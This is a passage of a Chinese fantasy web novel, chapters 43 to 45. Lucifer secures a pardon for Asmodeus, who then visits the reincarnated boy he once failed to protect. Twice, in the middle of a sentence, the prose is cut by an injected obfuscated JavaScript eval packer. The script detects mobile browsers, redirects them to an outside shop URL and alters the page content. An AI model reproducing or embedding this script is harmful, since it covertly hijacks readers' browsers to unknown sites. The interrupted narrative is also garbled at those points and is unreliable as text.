“祂会帮你吗?”路西菲尔反问。 不会。 那个人,多么微贱的一条命。 除了阿斯蒙蒂斯没人在乎。 “你……”阿斯蒙蒂斯嗓音颤抖,他知道,路西菲尔从不说大话,他说能做到,那就是能做到。 但怎么能做到呢? 路西菲尔如今,已经有这般可怕的实力了吗? “您要我做什么?”阿斯蒙蒂斯冷静下来,他眸中恢复了神采,也改换了称呼。 路西菲尔拍了拍他的脸,从容笑道:“我要你绝对的忠心。” “阿斯蒙蒂斯誓为路西菲尔殿下效劳。”阿斯蒙蒂斯毫不犹豫地就要跪下。 “不急在此时。”路西菲尔起身,阿斯蒙蒂斯眼前一晃,那枚镀金露薇落在了他面前。 阿斯蒙蒂斯连忙将它捡起来,里里外外检查一遍,确认无误后,珍视地擦拭干净,小心地放进怀里。 他翻遍全城也未曾见到,还以为,他再也见不到它了。 “这东西,若非我在场,你这辈子都不会再找到,这就是我的诚意,也是我给你的保证。”路西菲尔轻飘飘道。 阿斯蒙蒂斯抿了抿唇:“我明白。” “安心待着吧,时机来到时,你会知道该做什么的。” * 他果然没看错,阿斯蒙蒂斯是一个极好的下属。 虽然难免闯祸,但也好用。 不枉他亲自到耶和华面前保他一场。 路西法垂眸看向掌心,回忆起当时。 不过,还是出了点小偏差。 这也得怪耶和华。 43. 万死不悔 路西菲尔根本没让萨麦尔拷问阿斯蒙蒂斯。 什么审查,什么罪状,那都是他哄骗米迦勒的借口而已。 只有米迦勒还傻傻深信不疑萨麦尔依旧铁面无私,其实萨麦尔早就倒向他了,阿斯蒙蒂斯在牢狱里面不过受点罪,安全却是无虞的。没有路西菲尔的命令,谁也别想带走他。 天国表面平静,底下的暗潮汹涌却从未停歇。 当然,路西菲尔不否认,多半都是由他而起。 但,野心算什么罪呢? 路西菲尔带着和煦如春风的笑容进入了水晶天。 创世神看出了他今日非同寻常的高兴。 路西菲尔并未直接禀报阿斯蒙蒂斯之事,反而先谈论起了书画。 他于书画一途上的造诣比梅塔特隆还略高一筹,只是他精于此道,却并不好此道。 今日他是特意来求创世神指导的。 神殿内一片安宁。 耶和华长居之地,其实除却巍峨宽广之外,唯有空白。 祂似乎没有什么喜好偏向,神殿中大多数摆件,来源于路西菲尔千百年来一次次一时兴起。 他见着什么觉得好,提议在神殿中放置一个,耶和华默许,也就放上了。 “我瞧那个紫薇花水晶挂钩已经放了许久,父神可愿换一个?” 路西菲尔的手腕正被握着,指引着修改画卷上不够生动自然之处。 “随你。” 路西菲尔得到了意料之中的回答,面上笑意盈盈,眸中却一片淡然。 他猜,耶和华从来没正眼看过那里是紫薇花还是蔷薇花。 哪怕他有意说错,耶和华知道,也不会刻意纠正。 神殿不曾特意熏香,却自有一股浅淡的好闻味道,宁神静气,路西菲尔寻遍三界,也未寻到相似的。 “这里落笔放轻,便不会太深。”耶和华抬起他的手,笔下青山绵延不绝,渐渐隐入云烟。 “父神真厉害。”路西菲尔笑着夸道。 “是你今天心情太好。” 往日,他可不会这么高兴。 “倒也不算,近日也有桩烦心事。”路西菲尔敛了笑意,故作苦恼,“我想赦免一个罪大恶极的天使,但不知道怎么办才好呢。” 耶和华握着他的手又落下几笔。 “按说,是该处死,但我觉得他很有趣,不想他死。” 路西菲尔深谙点到为止的道理,不再说下去,注意力又回到画作上。 待到一幅画改完,耶和华放开他的手腕,漫不经心道:“既然他让你开心,那就算是有用,不必死刑处置。” “父神宽宏,他一定感激涕零。”路西菲尔眼也不眨,唇边笑意加深几分。 他拿起画卷,透光欣赏,却蓦地觉得有冰凉之物从他侧脸划过。 转瞬即逝,好似错觉。 路西菲尔也就当是错觉。 他带着满意的结果告辞,在他迈出神殿大门时,身后传来声音。 “以后你我相处,少提他人。” “路西明白。”路西菲尔垂下头,谦恭和顺地应下。 下次? 哪里会有下次。 * 路西菲尔公布了阿斯蒙蒂斯免于死刑,改为无期监禁的命令,随后特意留下满脸忿忿的米迦勒,安抚道:“父神仁慈,念在他往日于天国有功,何况,此事确有内情,那满城人类以献祭之名欺辱凌虐一个残疾少年,阿斯蒙蒂斯也是一时激愤罢了。” 一时激愤就能杀了所有人吗? 城中老弱妇孺难道也伤害那少年了不成? 米迦勒眉头紧皱,不太能接受这个解释。 他不祥的预感竟然成了真,这叫他如何不郁闷。 但路西菲尔并无解释下去的打算,左右这是耶和华的命令,他代为传达而已。 虽然是他旁敲侧击来的,但谁又能知道呢? 耶和华那万事不在意的性格,压根不会跟他们提这些的。 赦免一个阿斯蒙蒂斯而已,又不是要毁了祂的全世界。 剩下的,就该是履行承诺了。 路西菲尔悄无声息地离开了天国,踏上人间一处偏远小镇。 时值荒年,人类活得艰难。 也许是饥饿太过会影响思维,人间渐渐诞生了各种奇怪的献祭仪式祈求神恩,其中不乏野蛮残忍不堪入目的, 实质上这些全都没用,或可能偶然撞上巧合,他们便以为有效,从而变本加厉。 但其实,只会更令神明不悦。 路西菲尔绕过遍地饿殍,来到一处略大些的宅院的主房门处。 里面正有一个怀孕的女人,灾年影响着所有生灵,她家中原本尚算富裕,如今也不过勉强维持,所以她亦是脸色憔悴。 她的丈夫在外忙碌,而她有孕将近九月,不宜外出,只能在家中待着,勉强做些缝缝补补的活。 她偶尔低头看向自己腹部,苍白疲惫的脸上溢出一丝微笑,抬起生了茧的手轻轻抚摸,低声同自己腹中的孩子说两句话,然后便继续做活。 但她不知道,她腹中只有一具冰冷的躯体,早就没了气息,不会变成一个活泼的会叫她母亲的孩子。 是在前几日夜里悄然去的。 路西菲尔屏息看了半晌,在她撑不住,回到床上小憩时,从袖中取出一个白瓷小瓶。 他将一物从那瓶中倾出,变作一豆荧光,就要放进那妇人腹中。 这件事,他已经计划很久了。 仅是挑选合适的对象,他便花费了数月。 然而在那点荧光将要进入妇人腹中之时,蓦地被生生拦了下来。 路西菲尔眉心一蹙。 他闭上眼,强迫自己平静下心态,然后才睁开眼,唇边徐徐挽起优雅得体的笑容:“父神,真巧,您竟也在观察人间。” 功亏一篑,他还是没能完全掩饰住心里的不忿。 耶和华不答,只是抽走了他手中的瓶子。 路西菲尔察觉到祂似乎有意离开,终是忍不住,上前一步,望向左右:“若是我做错了什么,还请父神明明白白告诉我,否则我不敢保证下次不会再犯。” “难道告诉你,你就不会再这样做了吗?” 耶和华的声音一如既往听不出喜怒。 路西菲尔仰起脸,看着虚空:“此人生性善良,行善积德,如今枉死,正巧这位母亲腹中之子已逝,我助他再活一世,也未害旁人性命,有何不可?” “无不可。” “那为什么……” “不该由你来做。路西菲尔,你是天国副君,你该坐在恒星天的主位,或是坐在我的身边,而不是在人间,记住你的身份。” “记住你的身份”,又是这句话。 路西菲尔已经记不得自己千百年来听过多少次。 旁人看来的无上荣耀,到头来竟是永远束缚他的枷锁。 当初受封时的喜悦,现在想来觉得无比陌生,又显得讽刺。 他好似进了一步,距离耶和华更近,实际上,却比从前还如相隔天堑。 路西菲尔忽地觉得疲惫。 “父神……从前,您起码会告诉我原因的。”他低声道,“您还记得从前吗?” 从前,耶和华亲自教导他,虽也严格,但从来不失亲近。 路西菲尔曾天真地想,天下生灵之间的父子之情,也莫非如此了。 连他都不曾忘,创世神贯知古今,如何会不记得? 只是…… 气氛沉默下去。 就在他以为耶和华已经离开的时候,蓦地听见:“回去吧。我会处理。” 这已经算是承诺,路西菲尔明白不能再求更多,唇角弯起嘲讽的弧度,道:“多谢父神。” * 不知是否是耶和华的疏漏,路西菲尔留在那抹魂魄上的印记并未被除去。 也正因如此,路西法才得以感应到,那个人,又活了过来。 那就是时候了结多年前的恩怨了。 * 正如路西法所料,阿斯蒙蒂斯面对那扇门时,根本提不起勇气推开它。 莉莉丝等了半晌,本暗暗想欣赏阿斯蒙蒂斯百年难得一见失态的模样,但见他一直踌躇不前,便失了耐心。 她在人间确实有了自己的安排,不能就这么陪他耗着,左右她也只是想确认这个人是否是她心中所想,而阿斯蒙蒂斯的反应已经证实,她便自行离去了。 只余阿斯蒙蒂斯独自在此,依旧仿徨。 许久之后,阿斯蒙蒂斯闭上眼,乌黑发梢自尾部至根部寸寸变为金色,身上华丽诡艳的地狱风格服饰也变成了天国特色的洁净白衣,暗纹迎着光一闪而过,彰显着高阶天使的身份。 当时还有什么? 阿斯蒙蒂斯一抚发间,一粒粒粉彩光泽的均匀光滑小珍珠组成的长链缠绕几缕长发结成辫子垂在发中,额前翠色宝石熠熠生辉,双耳缀下同色玉石。 再往下,腰带靴袜,都要是曾经的模样。 待整理完毕,阿斯蒙蒂斯才轻轻叩响大门。 “来了!” 少年急匆匆而来,方一开门便几乎被晃花了眼。 他迟疑地看着面前浑身金光灿灿珠光宝气的俊美青年,对上他生就多情温柔的眼,恍然间,仿佛从中看出了痛苦与激动。 但只刹那间,俊美青年神情便恢复正常,微笑道:“可否容我讨一杯水?” 少年愣了愣,侧身为他让开:“当然可以。” * 少年的住处并不太大,只是这城中无数居民家最常见的模样。 他家中摆设并不多,却可见出温馨,他见这位衣饰华贵的客人打量四周,颇为赧然:“请您稍坐,我去倒水。” “不需麻烦,随意即可。”阿斯蒙蒂斯转头看见他行动迟缓,行走似有不便,当即眉头紧皱,起身握住他的手腕,“你的腿怎么了?谁伤的?” 少年被他攥得“嘶”了一声,又惊讶又茫然,不解道:“我……我自己摔的呀。” 阿斯蒙蒂斯这才反应过来自己有些过度,连忙放开他的手,掩饰道:“我一路来见到了许多被盗匪伤害的人,还以为你也是……抱歉。” 少年理解地笑笑,将一杯水递给他,有些好奇:“那您也是因此与仆人失散的吗?” 阿斯蒙蒂斯看上去像一位贵族,孤身出现在这市井间属实奇怪。 “不是。”阿斯蒙蒂斯看着他,眸中神情复杂,面上却还是一贯的笑容,“你可以大胆地猜猜看。” 他接过水一饮而尽,少年见状,笑出声来,好心提醒:“您以后可别随意接过旁人的东西就入口啊,您一看就非富即贵,倘若别人起了坏心,在里面下毒可怎么办。” “这世上还没有能让我无能为力的毒丨药。”阿斯蒙蒂斯眼也不眨道。 “那您一定很厉害。”少年想了想,但他想象不到怎样的权势才能百毒不侵。 “不,我很无能。”阿斯蒙蒂斯看向空空的杯底,“曾有个人很信任我,而我却令他陷入了绝境。” 不管这唯一的听众是否愿意,阿斯蒙蒂斯自顾自地说起往事。 当年的他很喜欢来人间。 也不会做什么,就站在某处街头巷口,仗着往来人群看不见他,放肆地观察世情百态。 直到某一次,有人不慎在他身侧打倒了整桶刚从井中汲上来的水。 那个瘦弱的少年对着他连连道歉,脸上全是惶恐忐忑。 阿斯蒙蒂斯看向他,颇觉惊奇,他听说过至纯至善的人类可以看到路过人间的天使,却未想到自己竟也能遇见这么一位。 不过从周围人类的窃窃私语和嫌恶的目光可以看出,他的处境可不算好。 “他怎么又在自言自语,那里哪儿有人?” “早就听说他脑子不大好,异于常人,不然赞礼大人为何那么照顾他。” “他这种一出生就害死母亲,又连累父亲伤残的不祥之人,哪里值得赞礼大人费心!” 少年听着周围的议论,低下头,慌乱地想捡起木桶离开,但这片地沾了水,又叫他滑倒,周围的私语转成了大声的嘲笑。 但随即,都变成了哀哀惨叫。 “谁踹我?” “我的新衣服!这满身的泥可怎么洗!” 少年惊讶地抬头,却见周围那些嘲笑的人竟不知为何通通摔了个满身泥。 这附近的土地,好像也没有这么湿润吧? 他们看向少年的目光添了几分恐惧,随即立刻都起身离开。 少年迷茫地回头,却见那雪白的衣摆委顿在地,锦衣华服的青年蹲下丨身,帮他扶起木桶,眨眼间,整桶水恢复如初。 他呆呆看着那不似凡品的额链发饰,嗫嚅道:“……谢谢。” 阿斯蒙蒂斯握住他的手腕将他扶起来,让湿泥自觉地褪下,显露出少年本身满是补丁的破旧衣服。 阿斯蒙蒂斯心中一叹。 少年看着太瘦弱,他摸到了他的骨头才知他竟已快成年。 乱世中苦命人不知其数,人类却不知同舟共济,反而越发拜高踩低,媚强凌弱。 就好比这少年,本也没有伤害他人,不过是命运坎坷,却被冠以“不祥”之名孤立欺凌。 好似有个更惨的,就能衬出自己没有那么惨。 阿斯蒙蒂斯不理解这种行为。 但天使不能插手人间的事,稍作惩戒已是极限。 阿斯蒙蒂斯松开他的手,转身离开。 少年在他身后,鼓起勇气问:“您是天使,对吗?” 阿斯蒙蒂斯没有回答。 这是他们见的第一面。 第二面,是阿斯蒙蒂斯数月之后再一时兴起。 天国的光阴流逝总是默然的,当阿斯蒙蒂斯降落在人间,恰又遇见那个少年,才有一点时间似乎过去了挺久的真切感受。 反正久到那些人忘记了莫名其妙摔的跤,又开始欺负那个少年。 这次是嬉笑哄抢一个他的木雕摆件。 “看你藏得这么严实,我还以为是什么呢?原来就是个歪歪扭扭的丑东西,啧啧啧,我记得你父亲没残废前也是能工巧匠,怎么你就这么笨?该不会……你不是他的亲儿子吧?” 众人哄笑,彼此交换个心领神会的眼神。 一向软弱的少年发疯似的朝他们扑过去。 他比之前更瘦了,完全不会是那些身强力壮的人们的对手,他自己知道这不过是以卵击石,但他忍不下去这些对于他挚爱之人的恶意揣测。 可这次,他如有神助。 一拳就能将那些人打得飞出去。 意识到今天又不对劲,他们纷纷落荒而逃。 少年捡起木雕,珍重地擦干净,他站起身,一瘸一拐地将木雕放回原来的位置。 阿斯蒙蒂斯看过去,那里是一个藏在大树里,被藤蔓遮盖掩藏着的小小的台桌,木雕摆件放在正中,而在它身前,少年郑重地放了一小捧鲜嫩的露薇花。 阿斯蒙蒂斯左看右看,也没认出那木雕到底是个什么东西。 难不成是…… 神像? 不会吧。 雕成这样,都可以说是渎神了。 他忍不住开口,委婉提醒:“苍生皆有灵,父神不喜他人折花供奉。” 当然了,父神最不喜的是人类。 折不折花都不喜。 若是祂喜的路西菲尔,那就是把整个伊甸园烧了都未必有事。 不过这话就不必说了。 重点是但凡有供奉之物,必然会进入天国审查流程,其他天使看到这雕像不定会怎么想,还是让他别这么干的好。 少年回头看见他,既惊又喜,羞愧道:“这……这不是父神,我们人间的规定,只有最好的工匠才有资格雕刻神像。” 不是父神? 阿斯蒙蒂斯再看向那木雕,从它身后的几个奇形怪状的东西判断出,似乎是天使? 但不像是市面上常见的米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊?她偷什么了?” “偷人。” 少年目瞪口呆。 许久后,他忽地笑出声来:“您还会说笑呀。” 当然会了,他又不是石头木头。 只是阿斯蒙蒂斯深知不可与人类交际太深的规定,不想给少年带来麻烦。 少年笑过之后,问他:“那您呢?您喜爱人间吗?” 阿斯蒙蒂斯想了想,如果爱观察人间也是爱的话,那应该就是吧。 得到他的回答之后,少年低头想了很久,抬头时,郑重地说:“那我也爱吧。” 阿斯蒙蒂斯那时不明白。 不久后,少年在木雕前放了一枚小小的镀金露薇,笑着告诉他,赞礼大人说,需要他去守护人间,以后他大概不会回来了。 他用毕生积蓄打造了这枚不会枯萎的露薇花,望它永远替他仰望他。 这又是什么讲究? 阿斯蒙蒂斯不理解,但人类总是有很多奇特的祈祷祭祀的想法,加之那段时间他需要处理的公务也多,他的直属上司米迦勒和他在人间偶遇,由是发现了他的不务正业行为,因此非常不客气地给他加了很多工作量,所以便不曾多过问。 但阿斯蒙蒂斯随后无数日月里回想起这个瞬间,都想,如果当时多问几句就好了。 多问几句,兴许就会发现少年通红的眼眶,会发现他手臂不正常地扭曲着,会发现他的腿已折断,会发现他浑身上下满是伤口,会发现他暗藏着的焦急,会发现他频频东张西望,会发现不远处呼喝搜寻的骂声,会发现他急匆匆离开的身影。 会发现,那不过是一场彻头彻尾的骗局。 人间的记载会写,这数十年间,天灾人祸,民不聊生,人间兴起诡异血腥的凌迟献祭之法。 人间的记载不会写,有人类突生计谋,以一个至纯至善的灵魂为诱饵,捕捉天使。 为这场阴谋,整座城的人联合一心,共同演了一出时长十八年的戏剧。 当少年自愿为他去寻赞礼,表达愿意牺牲之时,所有人撕下了面具,他们为即将到来的成功欢呼着,摩拳擦掌商议接下来的计划。 少年起初不可置信,坚决反抗,于是被关起来折磨,他假装顺从,终于找到机会跑出来。 他笑着说,他将过得很好,希望阿斯蒙蒂斯不要来了。 他没料到,阿斯蒙蒂斯还是来了。 却正是愤怒的人们将他凌迟到最后一刀的时候。 * 唯一的听客不知何时泪流满面。 阿斯蒙蒂斯轻轻将水杯放到桌上的声音唤醒了他,他不好意思地抬起袖子胡乱地抹了把脸,一开口,声音却也沙哑:“您不要自责,这不是您的错。” 阿斯蒙蒂斯摇了摇头:“不,若没有我的出现,这一切都不会发生。他的苦难,皆是因我而起。” 这么多年,他在想,创世神创立的的规定兴许是有道理的。 看,他不守规矩,不就惹出祸事了。 “不是的。”少年坚定地看着他,“您说的那个人,他从出生开始就被卷入阴谋,有没有您,他都不会快乐安宁。我想,与您相识相遇,于他而言,兴许就是这悲哀的一生里最幸福的事了。” 幸福吗? 阿斯蒙蒂斯不敢回想他的脸。 在他记忆中,他总是笑着的,为每次相见而开心。 最后什么也没剩下。 “他好笨。”阿斯蒙蒂斯低声道,“那些人加起来都不是我的对手,我杀他们,都不用使出全力。但我不会让他们死得那么痛快,他受过的苦,他们也要尝一遍才行。” 他说到后面,语气间已可见森森冷意。 上天最后厚待他一次,让他在米迦勒到来时已经完成了想做的事。 只是那枚镀金露薇不知所踪。 他几乎将主谋们开膛破肚,也没找到。 还好,是在路西菲尔手里。 他不怕被利用,只怕再也找不到它。 但最重要的是…… 阿斯蒙蒂斯看向少年澄澈的眼眸,缓缓露出温柔的微笑:“谢谢你愿意听我说这些陈年旧事,希望没有影响你的心情。” 少年受宠若惊,摆摆手:“这怎么值得您感谢?我也只是做个听客而已。”他不好意思道,“反正,反正我今日伤了脚,没法陪着我的父母亲去家里的裁衣店,在家里也是无趣。况且我眼拙,还没能看出您竟是天使呢。” “真好。”阿斯蒙蒂斯深深看他一眼。 真好,他有了爱他的家人,有了温馨和睦的家,有普普通通却幸福平安的生活。 真好,他没有被他连累了。 阿斯蒙蒂斯从怀中取出一枚不起眼的白色羽毛吊坠,起身戴在了少年颈间。 “请务必永远戴着它,无论什么时候都不要取下,它会护你周全。” 这是他从在天国的牢狱中就在准备的东西。 他料到了路西菲尔想做什么,他决意追随,那么现在的一切都将没有意义。 所以他生生拔下自己所有的羽毛,融为这枚小吊坠。 里面是一位高阶天使毕生的气运,他要全部交给他。 “这太贵重了……”少年迟疑着不愿收下。 阿斯蒙蒂斯不容他抗拒,笑道:“是这杯水的酬谢,你若不收下,天国会责罚我的。” 少年不疑有他,只得收下。 阿斯蒙蒂斯怀念地最后看他一眼,便起身朝门外走去。 “……我就是那个人,对吗?” 阿斯蒙蒂斯脚步一顿,却未回头。 “我替我自己回答,大人,我从来,从来没有怨过您。 “我应当会想…… “‘真好,我没有连累您’。” 阿斯蒙蒂斯望了望天空,垂下头,不再犹豫地离开。 44. 劳心劳力 利维坦初来乍到之时,约里还是觉得很好的。 虽然不知道利维坦又是哪位声名可怕的魔王,但见他沉默寡言,不似阿斯蒙蒂斯那样巧言令色又没一句实话,也不像他那样时时刻刻非要闹着叫人陪着,约里很是觉得清净。 但时日一久,约里就渐渐觉得,阿斯蒙蒂斯还是挺好的。 阿斯蒙蒂斯当初吹嘘说整个地狱数他最喜欢人类,对人类最友好,竟然,好像,还真是实话? 起码这位沉默寡言的魔王就不怎么喜欢人类的样子。 他不是沉默,他是压根不想理他们。 就连伊勒沙代也不想理。 他最常做的事就是安静地在角落里放空自己,好像一个大型的摆件。 只偶尔到后厨找个水缸眼也不眨地喝上几缸水,惹得人人侧目。 但人类说什么问什么,他都当没听见,不在意,不理会。 约里发愁地想,这魔王与魔王之间果真不同,如今对比下看来阿斯蒙蒂斯竟然还算通人性的,起码能交流。 这位一声不吭,做事又不避讳,惹人注目,还没法说。 所以他半夜起来瞧见从门外进来的阿斯蒙蒂斯时,竟然颇有松口气之感。 只是阿斯蒙蒂斯这副形象,让他大惊失色。 若非那不语不笑时森冷沉寂的气质,他真的会当阿斯蒙蒂斯是位高阶天使。 阿斯蒙蒂斯见了他满脸惊色,眨眨眼,一瞬间又换回平时的模样,嬉笑道:“原来你喜欢这样的我?” ……果然,一开口就没有那种感觉了。 还是那个吊儿郎当风流多情的魔王。 约里白他一眼,压低声音道:“你这段时间去哪儿了?你们陛下身边换了个魔王,完全没办法和他交流。” 阿斯蒙蒂斯笑道:“利维坦么?正常的,他不爱说话,同不熟的人话更少。”末了,他一挑眉头,“我还当你会喜欢他那样少言寡语的呢,怎么,到头来发现还是喜欢我这么会说话的?” 约里又气又恼,捶他一下:“你会不会好好说话!” 阿斯蒙蒂斯故作吃痛投降之态,然后又拍拍他的肩:“我要离开很久,他八成会一直跟着,你还是得学会跟他相处,他其实也好办,你知道鱼么?你跟鱼怎么交流就怎么就他交流。” 约里沉默片刻,道:“我们人类不跟鱼交流。” 阿斯蒙蒂斯一拍脑门:“啊呀,忘了。” 约里长长叹气,被阿斯蒙蒂斯打了个岔,他还是忘不了他那副天使一般的模样,不由好奇道:“我记得那幅画里你们陛下的外貌,同你方才那样有些像,怎么如今差别这么大?” 阿斯蒙蒂斯“哎哟”一声:“这可不兴说啊,我哪敢同那位像?你这话说出来是奔着要我命来的吧?我差得远了。” 约里想起伊勒沙代见到那幅画时失态的情形,不禁心有戚戚,连忙捂住嘴。 阿斯蒙蒂斯见状好笑:“说都说出来了,这时候捂嘴有什么用?天使堕天前后相貌是会有极大差别的,不然那焚天之火岂不是妄得威名?” 他不介意说堕天的往事,反正那于他来说也不是耻辱。 相反,是他荣耀功勋的底座。 阿斯蒙蒂斯正得意,但不经意往门口一瞟,吓得退了一步,拍拍胸口,抱怨道:“利维坦,你要来就走正门光明正大地来行不行?这样突然出现简直要吓得我半死了。” 利维坦绷着脸,一个字一个字地说:“我们,魔王,怎么……光明正大?” 难得被利维坦挑个用词上的问题,阿斯蒙蒂斯悻悻摸了摸鼻子,转移话题:“陛下呢?” 他不说还好,一提起来,利维坦那张脸气得都要扭曲变形了。 “那、那个,人类……纠缠陛下!还、把我,赶走!”利维坦恼怒之余还不忘压低声音,他以前可没有这么仔细,阿斯蒙蒂斯一听便猜到他怕是已经因此吃过亏了。 不会吧,圣子不像那么不能容人的? 他这种花孔雀似的人物留在陛下周围,他也不曾驱逐,利维坦看着老实憨厚多了,怎么他反而容不下? 阿斯蒙蒂斯摸摸下巴,试探开口:“难道,他知道你带着那个谁来见陛下的事了?” 利维坦瞪他一眼:“你,不准,站在……他那边!我们,才,才是,一起的!” 这反应,阿斯蒙蒂斯立刻确定了猜想。 “好好好,我不站他那边,咱们才是同僚,不管其他人,行不行?”阿斯蒙蒂斯顺嘴安抚着,心中却暗道,他站哪儿重要吗?重要的是陛下站谁那儿。 一看就知道圣子占上风。 利维坦朴实又嘴笨,更拿他没办法了。 换成玛门还有点胜算…… 不成,玛门那双眼睛太厉害了,陛下自己都还没发现的那点好感,玛门保准看得一清二楚,还说不定会怎么帮助圣子卖个好呢。 他正想着,就感觉到了身边另一侧灼热的视线。 要命,忘了约里还在这儿,他肯定向着伊勒沙代。 在约里愤怒地和利维坦吵起来之前,阿斯蒙蒂斯极快地伸手捂住他的嘴,一边冲利维坦道:“你去通传一声,我有要事报与陛下,那人类就没理由留下来。” 利维坦一听,立刻高兴地离开。 阿斯蒙蒂斯这才松开约里,低声道:“冷静,冷静,你和一条鱼生什么气?你想想他的脑子,里面除了水还是水,还能装下什么,对不对?” 约里想起利维坦这些日子喝的水,也便安静下来。 算了,他好像真的脑子里全是水。 不过也有脑子里没水的。 他狠狠瞪阿斯蒙蒂斯:“那你脑子里呢?” “我脑子里装的全是你。”阿斯蒙蒂斯顺口道,但被约里瞪得更狠,连忙改口,“这不是哄他吗?这也是我要和你说的,他说什么你都别在意,他区区一条离了水的鱼哪里是圣子的对手?权当给圣子添些乐子罢了,他对人类……呃,虽然没有善意,但没有恶意啊,你也不理他就是了。” 约里幽幽看他,道:“你也挺操心的。” 怎么不是呢? 阿斯蒙蒂斯也觉得心酸。 往常在地狱哪里轮得到他操心这些事,别西卜、玛门和萨麦尔自会抢着安排妥当,在陛下跟前争当首功。 如今他劳心劳力,也是知道他们往常多不容易了。 但最关键的事还没做完,他也不能停在此刻抱怨,只道:“你知道我辛苦就好了。我去见陛下,你早点休息。” 约里难得顺从地点点头。 望着阿斯蒙蒂斯远去的背影,约里才皱起眉头。 他感觉出来了,一开始刚进来的阿斯蒙蒂斯其实是很难过的。 那一瞬间,他觉得他,孤独萧索。 但他想了想,没有提及。 阿斯蒙蒂斯是魔王,一位骄傲的,实力雄厚,地位超然的魔王,“七罪”之一,撒旦的亲信。 他不需要任何人的安慰,那是一种轻看,认为他没有独立消化这些情绪的能力。 阿斯蒙蒂斯不该被这样对待。 * 阿斯蒙蒂斯悄声进门,却见这里的气氛不如他所想那般轻松。 路西法看上去心情挺好,伊勒沙代却不然。 虽然他还是那般时时刻刻保持着的笑容温和的模样,但阿斯蒙蒂斯何其敏锐,能感觉出来,他的心情非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091888|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差。 路西法见了他,懒懒道:“耶和华应该教过你,什么时候该不在场吧?还不出去。” 阿斯蒙蒂斯一听这话就知道不是冲自己,但也因此头皮发麻。 陛下怎么又说话这么刺刺的? 圣子这是干了什么啊。 “祂何须教会我这些,祂对谁又何曾上过心?只有旁人对祂念念不忘的。”伊勒沙代语气全然不似从前温柔,竟是要成针锋相对的架势。 要命了! 阿斯蒙蒂斯心里一凉,恨不得冲上去也捂住圣子的嘴。 圣子疯了吗? 哪壶不开提哪壶是不是? 明知道陛下介意创世神,这回怎么还赶着往上戳心窝子? 他都不敢去看路西法的脸色。 果真,他听见路西法冷笑一声:“当然,除了祂,谁还配我在意?” 说罢,他便径直起身,率先离开。 阿斯蒙蒂斯暗道一声倒霉,连忙跟上。 他倒是有意想放慢些,方便圣子追上来,但奈何路西法似是看出了他的小心思,一把拽住他的衣领,顷刻之间就到了万魔殿。 这就是圣子永远到不了的地方了。 路西法松开他的衣领,他自觉地顺势躬身行礼。 “见到人了?” 阿斯蒙蒂斯有些怅然,苦笑道:“他完全不记得我了。但这也是好事。” 那些痛苦的事,想不起来最好。 他打起精神,详细将自己观察到的一切告诉路西法。 路西法听罢,若有所思。 没有过去的记忆,一切归零,以全新的身份再活一世。 耶和华的做法明显比他周全。 若非阿斯蒙蒂斯提起往事,那人不会有一点印象。相较前世,他只是有一样的容貌和灵魂,其余的都截然不同,从严格意义上说,路西法认为他们可以不算同一个人。 不过这是阿斯蒙蒂斯的执念所在,路西法不会多管忠心耿耿的下属的私事。 他觉得是那就是吧。 路西法起初还以为阿斯蒙蒂斯会选择给那人一世富贵,或是将他带到地狱,没料到,阿斯蒙蒂斯竟还想在他面前保持过往的形象,也只是想给他安宁。 各自安好,也不错。 路西法缓缓走到阿斯蒙蒂斯身侧,抬手捏了捏他的肩:“你做的不错,他的性情不适合再卷入纷争,平安喜乐就好。” 阿斯蒙蒂斯点点头,转头扬起笑容:“当年的事,我还没有谢过陛下,若非陛下,只怕我与他再无相见之日。” “何须言谢。”路西法笑道,“阿斯,你很值得。” * 阿斯蒙蒂斯回了自己的府邸,一路婉拒了所有得知他回来纷纷传来讯息的旧相好。 他总觉得自己似乎忘了什么事,但又想不起来,索性就放下不想。 他现在只想安静会儿。 但他注定很难得到安静。 刚哄着传音拒绝完一个性格粘人的美貌精灵少年,阿斯蒙蒂斯疲惫地按按眉心,将自己浸入一池温热泉水中。 他头一次觉得自己招惹的情人还是太多了。 他又追求完美,好聚好散,搞得大多数情人对他都还抱着重燃旧情的指望,一有机会就扑上来。 不过片刻,又有传音的波动响起。 阿斯蒙蒂斯长长叹口气,一接起来,声音里又满是温柔:“亲爱的……” “谁是你亲爱的!阿斯蒙蒂斯!你人呢!” 阿斯蒙蒂斯揉揉耳朵,听出这声音后不由一惊。 他想起自己忘了什么了。 陛下和他,离开时,好像都没通知利维坦啊。 45. 不速之客 利维坦气得都不结巴了。 谁能体会到他就出去一会儿,回来以后发现陛下和阿斯蒙蒂斯都不见了的震惊! 陛下也就罢了,阿斯蒙蒂斯这家伙,刚刚还说跟他站一起的! 阿斯蒙蒂斯自知不占理,心虚至极,连忙道:“这不是事出突然,我也没反应过来吗?” 见利维坦还不消气,他转移话题:“你可知道发生了什么?怎么气氛坏成这样?” 利维坦嘟嘟囔囔道:“我,我哪里,知道?这几天,也没什么……事呀,要不,就,就是,那条鱼……希罗弥图,他,他,他把眼睛,送过来了,嘛。” “什么?”阿斯蒙蒂斯听得拔高了声音,“什么把眼睛送过来?你说清楚些!” 不是他想的那个意思吧? 天,那个海国小王子有这么疯狂? 利维坦被他吓了一跳,抱怨道:“就,是他回去……听族老说,他的,眼睛像,父神……的图腾,然后就,就一狠心,把……自己、的眼睛,挖了,送来给,陛下……还说,他,他不是,父神的……眼睛。” 阿斯蒙蒂斯大受震撼。 他还真有这么疯狂啊。 那海国小王子能有什么本事,眼睛没了可就是真没了。 他要向陛下表忠心,也不至于这么疯魔吧? 